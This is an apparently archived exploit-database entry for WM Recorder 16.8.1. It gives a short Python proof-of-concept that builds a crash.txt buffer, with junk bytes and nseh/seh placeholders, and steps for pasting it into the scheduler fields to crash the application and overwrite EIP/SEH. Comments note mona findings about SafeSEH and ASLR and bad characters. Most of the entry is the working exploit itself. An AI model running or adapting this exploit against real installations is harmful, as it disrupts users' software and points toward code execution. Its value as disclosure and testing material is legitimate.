WM Recorder 16.8.1 Denial Of Service

2018.03.24
Credit: bzyo
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/usr/bin/python # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: WM Recorder 16.8.1 - Denial of Service # Date: 03-20-2018 # Vulnerable Software: WM Recorder 16.8.1 # Vendor Homepage: http://wmrecorder.com/home/ # Version: 16.8.1 # Software Link: http://wmrecorder.com/download/wm-recorder/ # Tested On: Windows 7 x86/x64, Windows 10 x64 # # # PoC: generate crash.txt, open app, go to Schedule Recordings, Open Scheduler, paste crash.txt contents in Stream URL, File name and Website URL, # change End Recording date to future date, turn scheduler on, select OK # # app crashes & EIP overwrite; # !mona seh > no ppr pointers & !mona seh -all > all aslr/safeseh # lots of bad chars including \x90 # filename="crash.txt" junk = "\x41"*429 nseh = "\x42"*4 seh = "\x43"*4 fill = "\x44"*9562 buffer = junk + nseh + seh + fill textfile = open(filename , 'w') textfile.write(buffer) textfile.close()


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